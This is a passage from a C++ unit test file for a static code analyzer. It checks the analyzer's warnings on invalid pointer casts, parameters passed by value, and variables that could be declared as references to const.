checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return 